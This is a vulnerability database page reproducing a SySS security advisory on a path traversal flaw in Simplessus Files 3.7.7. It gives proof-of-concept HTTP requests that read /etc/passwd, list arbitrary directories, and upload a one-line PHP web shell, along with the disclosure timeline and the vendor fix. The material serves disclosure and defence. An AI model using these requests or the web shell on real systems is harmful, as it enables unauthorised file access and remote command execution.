Exploitalert - Database of Exploits

Simplessus Files 3.7.7 Path Traversal

CVE	Category	Price	Severity
CVE-2017-16654	CWE-22	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-02-18

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017020178

Simplessus Files 3.7.7 Path Traversal-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Advisory ID: SYSS-2017-004 Product: Simplessus Files Manufacturer: Simplessus Affected Version(s): 3.7.7 Tested Version(s): 3.7.7 Vulnerability Type: Path Traversal (CWE-22) Risk Level: High Solution Status: Fixed Manufacturer Notification: January 25, 2017 Solution Date: January 25, 2017 Public Disclosure: February 16, 2017 CVE Reference: Not yet assigned Author of Advisory: Dr. Adrian Vollmer, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Product overview: Simplessus Files is a file sharing web application. The manufacturer describes the product as follows (see [1]): Simplessus Files is a simple software solution to exchange files and documents over the internet. No more file sharing via e-mail, FTP or CD-ROM with Simplessus Files replace very large files online easily. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability overview: Due to insufficient filtering of user controlled input, Simplessus Files is vulnerable to a path traversal weakness. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: It is an obvious feature that users of the web application can download and upload files and list directories. However, this should be restricted to their own files and directories. Simplessus Files allows path traversal such that any user can read and write any file that the system user which owns the web server process has access to. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following request can be used to read the file /etc/passwd: POST /?action=FS&download=1 HTTP/1.1 Host: <HOSTNAME> Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 110 cmd=download&path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd The following request can be used to upload files to arbirtray directories in the file system (assuming www-data has write permissions): POST /?action=FS&upload=1 HTTP/1.1 Host: <HOSTNAME> Content-Length: 899 Content-Type: multipart/form-data; boundary=---------------------------2005325381163152094834751695 Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2 Connection: close - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="name" o_1b6c3dbioah31hb0ijs5f911cja.png - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="chunk" 0 - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="chunks" 1 - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="path" fs/player2/TEST/../../../../../../../../../var/www/writeabledir/ - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="fname" ox2wdkplp3biex-syss.php - -----------------------------2005325381163152094834751695 Content-Disposition: form-data; name="file"; filename="test" Content-Type: image/png <?php system($_REQUEST['c'])?> - -----------------------------2005325381163152094834751695-- The following request can be used to list all files inside any directory in the file system: POST /?action=FS&folder_content=1 HTTP/1.1 Host: <HOSTNAME> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 90 Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2 Connection: close userId=0&nodePath=fs%2Fplayer2%2FTEST/../../../../../../../../etc/&dummy=dummy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to software version to 3.8.3. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2017-01-13: Vulnerability discovered 2017-01-25: Vulnerability reported 2017-01-25: Vendor confirmation 2017-02-15: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Simplessus Files http://files.simplessus.com [2] SySS Security Advisory SYSS-2017-004 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-004.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Adrian Vollmer of SySS GmbH. E-Mail: [email protected] Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian_Vollmer.asc Key ID: 0x037C9FE7 Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

Impressum